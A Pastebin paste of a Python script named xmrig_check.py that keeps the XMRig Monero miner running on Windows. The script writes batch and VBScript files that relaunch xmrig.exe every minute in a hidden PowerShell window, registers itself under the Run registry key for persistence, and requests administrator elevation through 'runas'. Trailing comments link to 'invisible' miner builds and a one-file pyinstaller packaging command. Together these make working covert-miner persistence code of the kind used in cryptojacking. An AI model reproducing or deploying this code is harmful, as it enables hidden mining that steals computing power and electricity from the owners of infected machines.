Advertisement
Thunder-Menu

xmrig_check.py

Nov 20th, 2023 (edited)
672
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.42 KB | Source Code | 0 0
  1. import os
  2. import subprocess
  3. import requests
  4. import getpass
  5. import ctypes
  6. import sys
  7. import time
  8.  
  9. def is_admin():
  10.     try:
  11.         return ctypes.windll.shell32.IsUserAnAdmin()
  12.     except:
  13.         return False
  14.  
  15. def check_process(process_name):
  16.     try:
  17.         result = subprocess.run(["tasklist", "/NH", "/FI", f'IMAGENAME eq {process_name}'], capture_output=True, text=True, check=True)
  18.         return process_name in result.stdout
  19.     except subprocess.CalledProcessError:
  20.         return False
  21.  
  22. def add_to_startup(file_path):
  23.     username = getpass.getuser()
  24.     key = r"Software\Microsoft\Windows\CurrentVersion\Run"
  25.     key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
  26.  
  27.     try:
  28.         import winreg as reg
  29.         key = reg.HKEY_CURRENT_USER
  30.         key_value = f"xmrig_checker_{username}"
  31.         reg_key = reg.OpenKey(key, key_path, 0, reg.KEY_ALL_ACCESS)
  32.         reg.SetValueEx(reg_key, key_value, 0, reg.REG_SZ, file_path)
  33.         reg.CloseKey(reg_key)
  34.         print("Added to startup registry.")
  35.     except Exception as e:
  36.         print(f"Error adding to startup registry: {e}")
  37.  
  38. def create_files(file_path, content):
  39.     if not os.path.exists(file_path) or os.path.getsize(file_path) == 0:
  40.         with open(file_path, 'w') as file:
  41.             file.write(content)
  42.  
  43. if __name__ == "__main__":
  44.     exe_name = "xmrig.exe"
  45.     xmrig_path = r"C:\Program Files\Common Files\xmrig"
  46.  
  47.     if not os.path.exists(xmrig_path):
  48.         os.makedirs(xmrig_path)
  49.  
  50.     startup_file_path = os.path.join(xmrig_path, "xmrig_check.bat")
  51.     check_startup_file_path = os.path.join(xmrig_path, "check_xmrig.bat")
  52.     vbs_file_path = os.path.join(xmrig_path, "xmrig_check.vbs")
  53.  
  54.     check_xmrig_content = f"""@echo off
  55. :Check
  56. timeout /T 60
  57. tasklist /NH /FI "IMAGENAME eq {exe_name}" | find /i "{exe_name}" > nul
  58. if errorlevel 1 (
  59.    cd /d "{xmrig_path}"
  60.    start powershell -WindowStyle Hidden -Command Start-Process -FilePath {exe_name} -WindowStyle Hidden
  61. )
  62. goto Check
  63. """
  64.  
  65.     create_files(startup_file_path, check_xmrig_content)
  66.  
  67.     check_xmrig = f"""@echo off
  68. cd %~dp0 && start "" xmrig_check.vbs && exit
  69. """
  70.  
  71.     create_files(check_startup_file_path, check_xmrig)
  72.  
  73.     add_to_startup(check_startup_file_path)
  74.  
  75.     vbs_content = f"""Set objShell = CreateObject("WScript.Shell")
  76. objShell.Run "cmd.exe /C xmrig_check.bat", 0, True
  77. Set objShell = Nothing
  78. """
  79.  
  80.     create_files(vbs_file_path, vbs_content)
  81. if os.path.exists(check_startup_file_path) and os.path.getsize(check_startup_file_path) > 0:
  82.     os.system(f'start /MIN cmd /c "{check_startup_file_path}"')
  83.     print("Task started in a new console window.")
  84. elif is_admin():
  85.     os.system(f'start cmd /c "{startup_file_path}"')
  86.     print("Task started in a new console window.")
  87. else:
  88.     ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, f'"{os.path.abspath(__file__)}"', None, 1)
  89.  
  90. while True:
  91.     if not check_process(exe_name):
  92.         print(f"{exe_name} is Not Running. Starting...")
  93.         try:
  94.             os.system(f'start /MIN cmd /c "{startup_file_path}"')
  95.         except subprocess.CalledProcessError as e:
  96.             print(f"Error starting {exe_name}: {e}")
  97.         break  # Sortir de la boucle après le redémarrage
  98.     else:
  99.         print(f"{exe_name} is running")
  100.  
  101. #https://pastebin.com/jumpXUw1
  102. #https://pastebin.com/ZTFeTGpr
  103. #https://pastebin.com/5r65viYW
  104. #https://pastebin.com/GWphQhH4
  105. #https://pastebin.com/5fVeHRVS
  106. #https://autofaucet.org/dashboard/mining#command-line
  107. #pyinstaller --onefile xmrig_invisible.py
  108. #https://raw.githubusercontent.com/3xploitch3ats/Thunder-Menu/tm/xmrig_Invisible.py
  109. #https://github.com/3xploitch3ats/Thunder-Menu/raw/tm/xmrig_invisible.exe
  110. #https://github.com/3xploitch3ats/Thunder-Menu/raw/tm/xmrig_common.exe
  111. #https://raw.githubusercontent.com/3xploitch3ats/Thunder-Menu/tm/xmrig_common.py
  112. #https://github.com/3xploitch3ats/Thunder-Menu/raw/tm/xmrig_check.exe
  113. #https://raw.githubusercontent.com/3xploitch3ats/Thunder-Menu/tm/xmrig_check.py
  114. #https://github.com/3xploitch3ats/Thunder-Menu/raw/tm/xmrig_stop.exe
  115. #https://raw.githubusercontent.com/3xploitch3ats/Thunder-Menu/tm/xmrig_Stop.py
  116. #https://github.com/3xploitch3ats/Thunder-Menu/raw/tm/xmrig_unreg.exe
  117. #https://raw.githubusercontent.com/3xploitch3ats/Thunder-Menu/tm/xmrig_unreg.py
  118. #https://github.com/xmrig/xmrig/releases/tag/v5.8.1
  119. #https://github.com/xmrig/xmrig/releases/download/v5.8.1/xmrig-5.8.1-msvc-cuda10_1-win64.zip
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement